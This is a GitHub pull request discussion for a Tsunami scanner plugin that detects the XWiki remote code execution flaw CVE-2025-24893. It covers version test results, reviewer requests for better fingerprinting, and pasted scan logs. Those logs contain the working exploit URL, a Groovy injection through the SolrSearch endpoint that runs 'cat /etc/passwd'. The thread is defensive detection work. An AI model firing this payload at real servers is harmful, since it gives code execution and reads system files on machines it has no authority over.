PRP: XWiki_CVE_2025_24893

[a3vX]

Dear Tsunami Team,

Please find the PR related to #666.

Testbeds are available here: google/security-testbeds#159

The plugin has been tested for the following versions:

XWIKI_VERSION	JAVA_VERSION	Plugin Result
17.4.3	17	-
16.4.1	17	-
16.4.0	17	VULNERABLE
15.10.11	17	-
15.10.11	11	-
15.10.10	17	VULNERABLE
15.10.10	11	VULNERABLE
14.10.21	11	VULNERABLE
13.10.11	11	VULNERABLE
12.10.11	11	VULNERABLE
11.10.13	11	VULNERABLE
11.6	8	VULNERABLE
11.5	8	-
10.11.11	8	-

As shown in the table above, the payload works for XWiki > 11.6 (published in 2019), which is the version introducing the {{async}} macro used in the payload.

Additionally, the plugin's payload will only detect this RCE if the remote operating system is Linux.
For reference, the following generic payload can be used to minimize false negatives:

    # Generic payload
    { name: "payload" value: "%27ProofCodeExecution%27%2B%2816%2B26%29" },
    { name: "expectedRegex" value: "ProofCodeExecution42" }

[leonardo-doyensec]

Hello @a3vX.
Thank you for your contribution. You can find an issue to address down below. Moreover i have noticed that when the plugin is running it produces really verbose logs. Are you able to limit this?

Feel free to reach out
~ Leonardo (Doyensec)

[leonardo-doyensec]

The following fingerprint does not give any insight about the service running. Please improve the fingerprint phase by trying to identify if the service running is XWiki

[a3vX]

OK, solved in cb01fc5

[a3vX]

Dear @leonardo-doyensec,

Thanks for your message.

I added a new commit following your comment.
This new check on the body content ensures the presence of the XWiki version banner.
In the first place, I thought that a redirect to /bin/view/Main/ would be specific enough to detect XWiki. That's why I preferred not adding this second condition in order to avoid the issue to be undetected if someone manually deleted the version banner, and thus limit false negatives.

I've checked the new plugin version against the following versions.
The plugin still works as expected after the changes.

XWIKI_VERSION	xwiki_fingerprinting	xwiki_exploit
17.4.3	Ok	Nok
15.10.11	Ok	Nok
15.10.10	Ok	Ok
11.6	Ok	Ok

About the log verbosity, I also see some INFO log entries, one for each HTTP request sent and response received. However, I don't see how I could change this behavior in the plugin textproto file. From what I understand, the debug parameter in the config section is not enabled by default.
Do you have any recommendation or idea on how to change this?

For reference, here are my logs when running the plugin on XWiki 11.6 vulnerable instance:

INFO: Starting detector: XWiki_CVE_2025_24893
Aug 22, 2025 1:14:37 PM com.google.tsunami.plugin.RemoteVulnDetectorImpl detect
INFO: Detecting with language server plugins...
Aug 22, 2025 1:14:37 PM com.google.tsunami.common.net.http.OkHttpHttpClient send
INFO: Sending HTTP 'GET' request to 'http://180.149.199.132:8080/'.
Aug 22, 2025 1:14:38 PM com.google.tsunami.common.net.http.OkHttpHttpClient parseResponse
INFO: Received HTTP response with code '200' for request to 'http://180.149.199.132:8080/xwiki/bin/view/Main/'.
Aug 22, 2025 1:14:38 PM com.google.tsunami.common.net.http.OkHttpHttpClient send
INFO: Sending HTTP 'GET' request to 'http://180.149.199.132:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27cat+/etc/passwd%27.execute().text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D'.
Aug 22, 2025 1:14:42 PM com.google.tsunami.common.net.http.OkHttpHttpClient parseResponse
INFO: Received HTTP response with code '200' for request to 'http://180.149.199.132:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%27cat+/etc/passwd%27.execute().text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D'.
Aug 22, 2025 1:14:42 PM com.google.tsunami.plugins.detectors.templateddetector.TemplatedDetector lambda$useWorkflow$1
INFO: Vulnerability found on port 8080 with plugin 'XWiki_CVE_2025_24893'
Aug 22, 2025 1:14:42 PM com.google.tsunami.plugin.PluginExecutorImpl buildSucceededResult
INFO: XWiki_CVE_2025_24893 plugin execution finished in 5374 (ms)

Feel free to ask if any other change is needed.

~a3vX

[a3vX]

Dear @tooryx and @leonardo-doyensec ,

Do you need anything else from my end to review this pull request?

Thanks by advance!

--a3vX

[tooryx]

Hi @a3vX,

Nothing is needed on your side for now.
We are going through the backlog, oldest first, so it might take a bit of time before we get to this PR. Please bear with us.

Thank you,
~tooryx